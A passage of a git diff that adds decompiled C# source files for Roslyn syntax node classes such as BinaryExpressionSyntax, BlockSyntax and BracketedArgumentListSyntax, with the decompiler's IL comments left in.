b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterSyntax.cs new file mode 100644 index 0000000..6f9d92d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterSyntax.cs @@ -0,0 +1,54 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseParameterSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxTokenList Modifiers { get; } + + public abstract TypeSyntax? Type { get; } + + internal BaseParameterSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseParameterSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeListsCore(attributeLists); + } + + internal abstract BaseParameterSyntax WithAttributeListsCore(SyntaxList attributeLists); + + public BaseParameterSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return AddAttributeListsCore(items); + } + + internal abstract BaseParameterSyntax AddAttributeListsCore(params AttributeListSyntax[] items); + + public BaseParameterSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiersCore(modifiers); + } + + internal abstract BaseParameterSyntax WithModifiersCore(SyntaxTokenList modifiers); + + public BaseParameterSyntax AddModifiers(params SyntaxToken[] items) + { + return AddModifiersCore(items); + } + + internal abstract BaseParameterSyntax AddModifiersCore(params SyntaxToken[] items); + + public BaseParameterSyntax WithType(TypeSyntax? type) + { + return WithTypeCore(type); + } + + internal abstract BaseParameterSyntax WithTypeCore(TypeSyntax? type); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BasePropertyDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BasePropertyDeclarationSyntax.cs new file mode 100644 index 0000000..c323c26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BasePropertyDeclarationSyntax.cs @@ -0,0 +1,71 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BasePropertyDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract override SyntaxList AttributeLists { get; } + + public abstract override SyntaxTokenList Modifiers { get; } + + public abstract TypeSyntax Type { get; } + + public abstract ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier { get; } + + public abstract AccessorListSyntax? AccessorList { get; } + + internal BasePropertyDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BasePropertyDeclarationSyntax WithType(TypeSyntax type) + { + return WithTypeCore(type); + } + + internal abstract BasePropertyDeclarationSyntax WithTypeCore(TypeSyntax type); + + public BasePropertyDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + return WithExplicitInterfaceSpecifierCore(explicitInterfaceSpecifier); + } + + internal abstract BasePropertyDeclarationSyntax WithExplicitInterfaceSpecifierCore(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier); + + public BasePropertyDeclarationSyntax WithAccessorList(AccessorListSyntax? accessorList) + { + return WithAccessorListCore(accessorList); + } + + internal abstract BasePropertyDeclarationSyntax WithAccessorListCore(AccessorListSyntax? accessorList); + + public BasePropertyDeclarationSyntax AddAccessorListAccessors(params AccessorDeclarationSyntax[] items) + { + return AddAccessorListAccessorsCore(items); + } + + internal abstract BasePropertyDeclarationSyntax AddAccessorListAccessorsCore(params AccessorDeclarationSyntax[] items); + + public new BasePropertyDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BasePropertyDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new BasePropertyDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BasePropertyDeclarationSyntax)WithModifiersCore(modifiers); + } + + public new BasePropertyDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (BasePropertyDeclarationSyntax)AddAttributeListsCore(items); + } + + public new BasePropertyDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (BasePropertyDeclarationSyntax)AddModifiersCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeDeclarationSyntax.cs new file mode 100644 index 0000000..8a77a0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeDeclarationSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseTypeDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract SyntaxToken Identifier { get; } + + public abstract BaseListSyntax? BaseList { get; } + + public abstract SyntaxToken OpenBraceToken { get; } + + public abstract SyntaxToken CloseBraceToken { get; } + + public abstract SyntaxToken SemicolonToken { get; } + + internal BaseTypeDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BaseTypeDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifierCore(identifier); + } + + internal abstract BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier); + + public BaseTypeDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + return WithBaseListCore(baseList); + } + + internal abstract BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList); + + public BaseTypeDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + return AddBaseListTypesCore(items); + } + + internal abstract BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items); + + public BaseTypeDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceTokenCore(openBraceToken); + } + + internal abstract BaseTypeDeclarationSyntax WithOpenBraceTokenCore(SyntaxToken openBraceToken); + + public BaseTypeDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceTokenCore(closeBraceToken); + } + + internal abstract BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken); + + public BaseTypeDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonTokenCore(semicolonToken); + } + + internal abstract BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken); + + public new BaseTypeDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseTypeDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new BaseTypeDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseTypeDeclarationSyntax)WithModifiersCore(modifiers); + } + + public new BaseTypeDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (BaseTypeDeclarationSyntax)AddAttributeListsCore(items); + } + + public new BaseTypeDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (BaseTypeDeclarationSyntax)AddModifiersCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeSyntax.cs new file mode 100644 index 0000000..7a56a59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseTypeSyntax.cs @@ -0,0 +1,20 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseTypeSyntax : CSharpSyntaxNode +{ + public abstract TypeSyntax Type { get; } + + internal BaseTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseTypeSyntax WithType(TypeSyntax type) + { + return WithTypeCore(type); + } + + internal abstract BaseTypeSyntax WithTypeCore(TypeSyntax type); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryExpressionSyntax.cs new file mode 100644 index 0000000..c4cf5aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryExpressionSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BinaryExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? left; + + private ExpressionSyntax? right; + + public ExpressionSyntax Left => ((SyntaxNode)this).GetRedAtZero(ref left); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BinaryExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Right => ((SyntaxNode)this).GetRed(ref right, 2); + + internal BinaryExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref left), + 2 => ((SyntaxNode)this).GetRed(ref right, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => left, + 2 => right, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBinaryExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBinaryExpression(this); + } + + public BinaryExpressionSyntax Update(ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (left != Left || operatorToken != OperatorToken || right != Right) + { + BinaryExpressionSyntax binaryExpressionSyntax = SyntaxFactory.BinaryExpression(Kind(), left, operatorToken, right); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return binaryExpressionSyntax; + } + return binaryExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public BinaryExpressionSyntax WithLeft(ExpressionSyntax left) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(left, OperatorToken, Right); + } + + public BinaryExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, operatorToken, Right); + } + + public BinaryExpressionSyntax WithRight(ExpressionSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, OperatorToken, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryPatternSyntax.cs new file mode 100644 index 0000000..1a5f00e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BinaryPatternSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BinaryPatternSyntax : PatternSyntax +{ + private PatternSyntax? left; + + private PatternSyntax? right; + + public PatternSyntax Left => ((SyntaxNode)this).GetRedAtZero(ref left); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BinaryPatternSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public PatternSyntax Right => ((SyntaxNode)this).GetRed(ref right, 2); + + internal BinaryPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref left), + 2 => ((SyntaxNode)this).GetRed(ref right, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => left, + 2 => right, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBinaryPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBinaryPattern(this); + } + + public BinaryPatternSyntax Update(PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (left != Left || operatorToken != OperatorToken || right != Right) + { + BinaryPatternSyntax binaryPatternSyntax = SyntaxFactory.BinaryPattern(Kind(), left, operatorToken, right); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return binaryPatternSyntax; + } + return binaryPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public BinaryPatternSyntax WithLeft(PatternSyntax left) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(left, OperatorToken, Right); + } + + public BinaryPatternSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, operatorToken, Right); + } + + public BinaryPatternSyntax WithRight(PatternSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Left, OperatorToken, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BlockSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BlockSyntax.cs new file mode 100644 index 0000000..c0dca65 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BlockSyntax.cs @@ -0,0 +1,153 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BlockSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private SyntaxNode? statements; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxList Statements => new SyntaxList(((SyntaxNode)this).GetRed(ref statements, 2)); + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public BlockSyntax Update(SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, openBraceToken, statements, closeBraceToken); + } + + internal BlockSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref statements, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => statements, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBlock(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBlock(this); + } + + public BlockSyntax Update(SyntaxList attributeLists, SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || openBraceToken != OpenBraceToken || statements != Statements || closeBraceToken != CloseBraceToken) + { + BlockSyntax blockSyntax = SyntaxFactory.Block(attributeLists, openBraceToken, statements, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return blockSyntax; + } + return blockSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new BlockSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, OpenBraceToken, Statements, CloseBraceToken); + } + + public BlockSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, openBraceToken, Statements, CloseBraceToken); + } + + public BlockSyntax WithStatements(SyntaxList statements) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, OpenBraceToken, statements, CloseBraceToken); + } + + public BlockSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, OpenBraceToken, Statements, closeBraceToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new BlockSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public BlockSyntax AddStatements(params StatementSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithStatements(Statements.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedArgumentListSyntax.cs new file mode 100644 index 0000000..61008a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedArgumentListSyntax.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BracketedArgumentListSyntax : BaseArgumentListSyntax +{ + private SyntaxNode? arguments; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Arguments + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arguments, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal BracketedArgumentListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref arguments, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return arguments; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBracketedArgumentList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBracketedArgumentList(this); + } + + public BracketedArgumentListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList arguments, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || arguments != Arguments || closeBracketToken != CloseBracketToken) + { + BracketedArgumentListSyntax bracketedArgumentListSyntax = SyntaxFactory.BracketedArgumentList(openBracketToken, arguments, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return bracketedArgumentListSyntax; + } + return bracketedArgumentListSyntax.WithAnnotations(annotations); + } + return this; + } + + public BracketedArgumentListSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Arguments, CloseBracketToken); + } + + internal override BaseArgumentListSyntax WithArgumentsCore(SeparatedSyntaxList arguments) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(arguments); + } + + public new BracketedArgumentListSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, arguments, CloseBracketToken); + } + + public BracketedArgumentListSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Arguments, closeBracketToken); + } + + internal override BaseArgumentListSyntax AddArgumentsCore(params ArgumentSyntax[] items) + { + return AddArguments(items); + } + + public new BracketedArgumentListSyntax AddArguments(params ArgumentSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(Arguments.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedParameterListSyntax.cs new file mode 100644 index 0000000..2c4a474 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BracketedParameterListSyntax.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BracketedParameterListSyntax : BaseParameterListSyntax +{ + private SyntaxNode? parameters; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedParameterListSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedParameterListSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal BracketedParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBracketedParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBracketedParameterList(this); + } + + public BracketedParameterListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid 